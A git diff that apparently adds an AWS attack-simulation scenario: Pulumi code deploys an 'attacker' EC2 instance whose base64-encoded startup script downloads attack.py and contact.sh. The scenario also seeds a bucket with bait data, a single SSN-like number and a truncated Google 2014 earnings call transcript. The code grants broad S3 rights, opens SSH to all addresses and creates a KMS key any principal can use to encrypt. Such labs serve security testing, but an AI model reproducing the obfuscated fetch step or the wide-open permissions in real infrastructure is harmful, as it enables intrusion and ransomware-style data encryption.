ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws sts get-caller-identity'", shell=True) diff --git a/scenarios/scenario_5/infra/Pulumi.yaml b/scenarios/scenario_5/infra/Pulumi.yaml new file mode 100644 index 0000000..e43781b --- /dev/null +++ b/scenarios/scenario_5/infra/Pulumi.yaml @@ -0,0 +1,12 @@ +name: infra +runtime: + name: python + +description: A minimal AWS Python Pulumi program +config: + pulumi:tags: + value: + pulumi:template: "" + + + diff --git a/scenarios/scenario_5/infra/__main__.py b/scenarios/scenario_5/infra/__main__.py new file mode 100644 index 0000000..30b0ae4 --- /dev/null +++ b/scenarios/scenario_5/infra/__main__.py @@ -0,0 +1,219 @@ +import pulumi +import pulumi_aws as aws +import os +import sys +import subprocess +from pulumi_random import RandomPet +import pulumi_synced_folder +from pulumi_aws import s3 +import json + +def read_public_key(pub_key_path): + with open(pub_key_path, "r") as f: + public_key = f.read().strip() + + return public_key + +region = aws.get_region() + +key_pair = aws.ec2.KeyPair("my-key-pair", public_key=read_public_key("../../../id_rsa.pub")) + +ubuntu_ami = aws.ec2.get_ami( + filters=[ + aws.ec2.GetAmiFilterArgs( + name="name", + values=["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"], + ), + aws.ec2.GetAmiFilterArgs( + name="virtualization-type", + values=["hvm"], + ), + ], + owners=["099720109477"], + most_recent=True, + +) + +# Create an IAM role for EC2 instance +role = aws.iam.Role("ec2-role", + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": { + "Service": "ec2.amazonaws.com" + }, + "Action": "sts:AssumeRole" + }] + }""" +) + +# Attach a policy to the role allowing necessary permissions +policy = aws.iam.RolePolicy("ec2-role-policy", + role=role.name, + policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VisualEditor0", + "Effect": "Allow", + "Action": [ + "s3:*" + ], + "Resource": "*" + } + ] + }""" +) + +sg = aws.ec2.SecurityGroup("web-sg", + ingress=[ + { + "protocol": "tcp", + "fromPort": 8000, + "toPort": 8000, + "cidrBlocks": ["0.0.0.0/0"] + }, + { + "protocol": "tcp", + "fromPort": 22, + "toPort": 22, + "cidrBlocks": ["0.0.0.0/0"] + } + ], + egress=[{ + "protocol": "-1", + "fromPort": 0, + "toPort": 0, + "cidrBlocks": ["0.0.0.0/0"] + }] +) + +# User data script to be executed when the instance starts +user_data_script = """ +IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlIC15CnN1ZG8gYXB0IGluc3RhbGwgdW56aXAgLXkKc3VkbyBhcHQgaW5zdGFsbCBweXRob24zLXBpcCAteQpzdWRvIHBpcCBpbnN0YWxsIGJvdG8zCnN1ZG8gYXB0IGluc3RhbGwgYXdzY2xpIC15CndnZXQgLVAgL2hvbWUvdWJ1bnR1LyBodHRwczovL2NvYnJhLXRvb2wtZmlsZXMuczMuYXAtc291dGgtMS5hbWF6b25hd3MuY29tL3NjZW5hcmlvLTUvYXR0YWNrLnB5CnN1ZG8gY2hvd24gdWJ1bnR1OnVidW50dSAvaG9tZS91YnVudHUvYXR0YWNrLnB5CndnZXQgLVAgL2hvbWUvdWJ1bnR1IGh0dHBzOi8vY29icmEtdG9vbC1maWxlcy5zMy5hcC1zb3V0aC0xLmFtYXpvbmF3cy5jb20vc2NlbmFyaW8tNS9jb250YWN0LnNoCmNobW9kICt4IGNvbnRhY3Quc2gKc3VkbyBjaG93biB1YnVudHU6dWJ1bnR1IC9ob21lL3VidW50dS9jb250YWN0LnNoCg== +""" + +instance_profile = aws.iam.InstanceProfile("my-instance-profile", + role=role.name +) + +# Create an EC2 instance with user data +instance = aws.ec2.Instance("attacker", + instance_type="t2.micro", + ami=ubuntu_ami.id, + iam_instance_profile=instance_profile.name, + security_groups=[sg.name], + user_data=user_data_script, + key_name=key_pair.key_name + +) +bucket_suffix = RandomPet("bucketSuffix", length=2) +s3_bucket = aws.s3.Bucket("bucket", + bucket=bucket_suffix.id.apply(lambda suffix: f"my-unique-bucket-{suffix}"), + acl=aws.s3.CannedAcl.PRIVATE, + tags={ + "Environment": "Dev" +}) + +folder = pulumi_synced_folder.S3BucketFolder( + "synced-folder", + path="./s3_files", + bucket_name=s3_bucket.bucket, + acl=s3.CannedAcl.PRIVATE, +) + +current = aws.get_caller_identity() +kmskey = aws.kms.Key("example", + description="An example symmetric encryption KMS key", + enable_key_rotation=True, + deletion_window_in_days=20, + policy=json.dumps({ + "Version": "2012-10-17", + "Id": "key-default-1", + "Statement": [ + { + "Sid": "Enable IAM User Permissions", + "Effect": "Allow", + "Principal": { + "AWS": f"arn:aws:iam::{current.account_id}:root", + }, + "Action": "kms:*", + "Resource": "*", + }, + { + "Sid": "Allow administration of the key", + "Effect": "Allow", + "Principal": { + "AWS": f"arn:aws:iam::{current.account_id}:role/aws-service-role/sso.amazonaws.com/AWSServiceRoleForSSO", + }, + "Action": [ + "kms:ReplicateKey", + "kms:Create*", + "kms:Describe*", + "kms:Enable*", + "kms:List*", + "kms:Put*", + "kms:Update*", + "kms:Revoke*", + "kms:Disable*", + "kms:Get*", + "kms:Delete*", + "kms:ScheduleKeyDeletion", + "kms:CancelKeyDeletion", + ], + "Resource": "*", + }, + { + "Sid": "Allow use of the key", + "Effect": "Allow", + "Principal": { + "AWS": "*", + }, + "Action": [ + "kms:DescribeKey", + "kms:Encrypt", + "kms:ReEncrypt*", + "kms:GenerateDataKey" + ], + "Resource": "*", + }, + ], + })) + + +# Export the public IP of the EC2 instance +print("Attacker Server Public IP") +pulumi.export("Attacker Server Public IP", instance.public_ip) + + +print("Attacker Server Role Name") +pulumi.export("role_name", role.name) + + +# Export the policy name +pulumi.export("policy_name", policy.name) + +# Export the security group name +pulumi.export("security_group_name", sg.name) + +# Export the instance profile name +print("Attacker Server Role") +pulumi.export("Attacker Server Role", instance_profile.name) + +# Export the instance ID +print("Attacker Server Instance ID") +pulumi.export("Attacker Server Instance ID", instance.id) + +pulumi.export("AMI ID", ubuntu_ami.id) + +pulumi.export("Subnet ID", instance.subnet_id) + +pulumi.export("Key Pair Name", key_pair.key_name) + +pulumi.export("Region", region.name) + +pulumi.export("Bucket Name", s3_bucket.bucket) + +pulumi.export("KMS Key", kmskey.arn) + diff --git a/scenarios/scenario_5/infra/s3_files/0_PII.txt b/scenarios/scenario_5/infra/s3_files/0_PII.txt new file mode 100644 index 0000000..ec63106 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/0_PII.txt @@ -0,0 +1 @@ +219-42-2331 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/2_FinInfo_new.txt b/scenarios/scenario_5/infra/s3_files/2_FinInfo_new.txt new file mode 100644 index 0000000..6e07af7 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/2_FinInfo_new.txt @@ -0,0 +1,602 @@ +Q3 2014 Earnings Call +Company Participants +• Ellen West +• Patrick Pichette +• Omid Kordestani +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju +• Mark S. Mahaney +• Ross A. Sandler. +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +MANAGEMENT DISCUSSION SECTION +Operator April_05_01 +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus 